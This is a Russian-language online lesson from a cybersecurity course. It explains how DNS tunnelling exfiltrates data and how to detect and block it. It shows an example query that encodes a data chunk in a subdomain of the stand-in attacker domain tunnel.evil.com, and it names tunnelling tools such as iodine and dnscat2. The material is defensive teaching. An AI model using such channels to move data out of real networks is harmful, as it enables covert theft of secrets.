Туннелирование и извлечение данных через DNS
Скрытая передача данных через DNS
«Туннелирование и извлечение данных через DNS» — бесплатный урок Cyber Security Academy на CoddyKit. Это урок 3 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cyber Security Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cyber Security Academy содержит 4 уроков всего.
Скрытая передача данных через DNS
Туннелирование через DNS кодирует произвольные данные в запросах и ответах DNS, превращая систему имён в скрытый канал связи. Поскольку почти любая сеть разрешает DNS выходить за периметр, это излюбленный путь для вывода данных и канала командования и управления.
Если межсетевой экран блокирует всё, но резолвер по-прежнему отвечает, злоумышленники могут проложить через DNS полноценный двусторонний канал.
Как работает канал
Злоумышленник управляет авторитетным сервером имён для домена, например tunnel.evil.com. Имплант кодирует исходящие данные в поддомене (левой метке) запросов:
- Данные передаются как
<base32-chunk>.tunnel.evil.com. - Авторитетный сервер возвращает инструкции внутри записей
TXT,CNAMEилиNULL.
Каждая пара запроса и ответа содержит небольшой фрагмент полезной нагрузки.
ZXhmaWx0cmF0ZWQtc2VjcmV0.tunnel.evil.com
# Encoded chunk smuggled in the query labelВарианты кодирования
В метках DNS регистр не учитывается, а их длина ограничена, поэтому двоичные данные обычно кодируются с помощью Base32 (Base64 учитывает регистр и использует небезопасные символы). Необходимо соблюдать следующие ограничения:
- Длина каждой метки — не более 63 символов.
- Длина полного имени — не более 255 символов.
- Таким образом, каждый запрос может содержать максимум несколько сотен байтов.
Из-за такой низкой пропускной способности вывод данных через DNS идёт медленно и порождает много запросов, что также упрощает его обнаружение.
Используемые типы записей
Разные типы записей позволяют увеличить объём данных в ответах:
TXT— крупные текстовые полезные нагрузки, основной формат ответов канала командования и управления.NULL— необработанные байты, используемые старыми инструментами, например iodine.CNAME/MX— средняя пропускная способность, при этом такие записи не выделяются среди легитимного трафика.A/AAAA— малая пропускная способность, но эти записи очень распространены и незаметны.
Распространённые инструменты
Известные утилиты туннелирования, которые следует распознавать при обнаружении:
- iodine — туннель IP через DNS, использующий записи NULL/TXT.
- dnscat2 — зашифрованный канал командования и управления через DNS.
- DNSExfiltrator — поэтапный вывод файлов.
- Маяк DNS Cobalt Strike — распространённый инструмент при проверках безопасности красной командой и в реальных вторжениях.
У этих инструментов есть характерные шаблоны запросов и признаки энтропии.
Медленный и быстрый режимы
Злоумышленники настраивают туннель: медленный и малозаметный режим отправляет мало запросов в минуту, чтобы не превышать пороги по объёму. Он подходит для скрытого вывода небольших секретов, например учётных данных или ключей.
Режим с высокой пропускной способностью увеличивает число запросов для интерактивного канала командования и управления или массовой передачи данных, жертвуя скрытностью ради скорости. Логика обнаружения должна выявлять оба варианта.
Сигнал обнаружения: энтропия
Закодированные поддомены выглядят как случайные строки, поэтому их энтропия высока по сравнению с естественными именами доменов. Расчёт энтропии Шеннона для каждой метки — сильная эвристика.
Легитимные имена обычно легко произносятся и имеют низкую энтропию; xj4k9d2mq7zp1.tunnel.evil.com заметно выделяется. Помечайте домены, у которых энтропия поддомена превышает настроенный порог.
Сигнал обнаружения: объём и длина
Другие поведенческие признаки:
- Необычно большое число запросов к одному домену с одного узла.
- Длинные имена запросов, приближающиеся к ограничению в 255 байтов.
- Непропорционально частое использование записей
TXTилиNULL. - Много уникальных поддоменов в одном родительском домене (большое разнообразие).
- Запросы к недавно зарегистрированному домену или домену с низкой репутацией.
# Top talkers by unique subdomain count per parent domain
sort dns.log | awk '{print $domain}' | sort | uniq -c | sort -rn | headПочему фильтрация исходящего трафика помогает
Конечные устройства не должны напрямую обращаться к DNS в интернете. Направляйте всех клиентов через внутренние резолверы и блокируйте исходящий UDP/TCP 53 на межсетевом экране.
Это направляет DNS через централизованную точку контроля, где можно вести журнал, проверять запросы и применять данные об угрозах. Кроме того, это нарушает работу имплантов, в которых жёстко заданы внешние резолверы, например 8.8.8.8.
Многоуровневые меры защиты
Объедините средства защиты, чтобы пресечь туннелирование:
- Централизуйте разрешение имён и блокируйте прямой доступ к внешнему порту 53.
- Разверните межсетевой экран DNS / RPZ с источниками данных о репутации.
- Создавайте оповещения при высокой энтропии, большой длине запросов, высокой частоте NXDOMAIN и большом числе уникальных значений для каждого домена.
- Ограничивайте частоту запросов и, если возможно, их размер.
- Следите за обращениями DNS через HTTPS к неизвестным конечным точкам, поскольку они скрывают туннелирование внутри HTTPS.
DNS через HTTPS: пробел в обнаружении
DNS через HTTPS оборачивает запросы в TLS и передаёт их через 443, поэтому традиционный контроль порта 53 ничего не видит. Имплант, использующий DNS через HTTPS для обращения к поддельной конечной точке, может незаметно передавать данные, не попадая в пассивное журналирование DNS.
Снизить риск можно, разрешив только утверждённый резолвер DNS через HTTPS, заблокировав на управляемых устройствах известные общедоступные IP-адреса и имена хостов DNS через HTTPS, а также проверяя SNI и репутацию назначения.
Быстрая проверка
Проверьте свою интуицию при обнаружении угроз.
Итоги
Туннелирование через DNS использует поддомены запросов и записи ответов (TXT, NULL, CNAME), создавая скрытый канал для вывода данных и командования и управления. Пропускная способность невелика, поэтому передача идёт медленно, но остаётся малозаметной. Такие инструменты, как iodine и dnscat2, оставляют характерные признаки.
Обнаруживайте туннелирование с помощью анализа энтропии, длины запросов, их объёма и разнообразия; предотвращайте его с помощью централизованных резолверов, фильтрации исходящего трафика, межсетевых экранов DNS/RPZ и контроля DNS через HTTPS. Далее: как DNSSEC и фильтрация защищают систему имён в целом.
Часто задаваемые вопросы
Урок «Туннелирование и извлечение данных через DNS» бесплатный?
Да — полный текст урока «Туннелирование и извлечение данных через DNS» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cyber Security Academy, подпишись на CoddyKit PRO. Курс Cyber Security Academy содержит 4 уроков всего.
Чему я научусь в уроке «Туннелирование и извлечение данных через DNS»?
Скрытая передача данных через DNS Ты практикуешь Cyber Security Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Cyber Security Academy?
Предыдущий опыт не требуется. Cyber Security Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 3 из 4.
Сколько времени занимает урок «Туннелирование и извлечение данных через DNS»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Cyber Security Academy?
Да. Каждый урок Cyber Security Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Как работает DNS и каковы его риски
- Подмена DNS и отравление кэша
- Туннелирование и извлечение данных через DNS
- DNSSEC и фильтрация DNS